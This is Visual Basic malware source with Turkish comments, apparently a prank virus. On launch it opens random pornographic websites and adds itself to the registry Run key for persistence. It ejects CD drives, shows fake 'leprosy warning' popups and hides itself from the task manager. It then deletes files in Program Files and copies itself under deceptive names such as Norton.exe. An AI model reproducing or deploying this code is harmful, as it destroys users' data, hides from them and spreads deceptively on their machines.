Private Sub Form_Load()
On Error Resume Next
'bu bölüm de gördüğünüz 5site açılır
Randomize
r = Int((5 * Rnd) + 1)
If r = 1 Then
WS.Run ("http://hardcore.pornbillboard.net/shannon/1.htm")
ElseIf r = 2 Then
WS.Run ("http://members.nbci.com/_XMCM/prinzje/1.htm")
ElseIf r = 3 Then
WS.Run ("http://www2.sexcropolis.com/amateur/sheila/1.htm")
ElseIf r = 4 Then
WS.Run ("http://sheila.issexy.tv/1.htm")
ElseIf r = 5 Then
WS.Run ("http://www.xvideos.com")
End If
'en iyi nokta regedite ekler ve pc her açıldığında çalışır
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
’Shell.Run "ALSNDMGR.wav", 0 'bu satırda windows baslangıç müziği çalışır "0"parametresi media playeri gizler
’Shell.Run "RUNDLL32 USER32.DLL,SwapMouseButton" 'bu satırda mousenin yeri değişir
'cd-rom açma kapama
CdRom.cdromCollection.Item(0).eject
CdRom.cdromCollection.Item(1).eject
'msgboxda mesaj verir
MsgBox "Lütfen yaralarıma pansuman yap", vbInformation, "cüzzam uyarısı"
MsgBox "Lütfen çok acıyo", vbInformation, "cüzzam uyarısı"
MsgBox "Windows cüzzam uyarısı buludu.Çözüm bulunursa size bildirilecek.", vbInformation, "cüzzam uyarısı"
Form1.Hide 'formgizlenir
App.TaskVisible = False 'görev yöneticisinde görünmez
'bu satırlarda program files ın içi boşaltılır
i = Dir("C:/Program Files/", vbArchive + vbHidden + vbNormal)
Do
Kill "c:/Program Files/" & i
i = Dir()
Loop Until (Len(i) < 1)
Dim a
Set a = CreateObject("ShellAplication")
a.shellexecute App.Path
've kendini kopyalar
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Norton.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\InnocentFile.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Wındows.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\System32\MSN Live.exe"
End Sub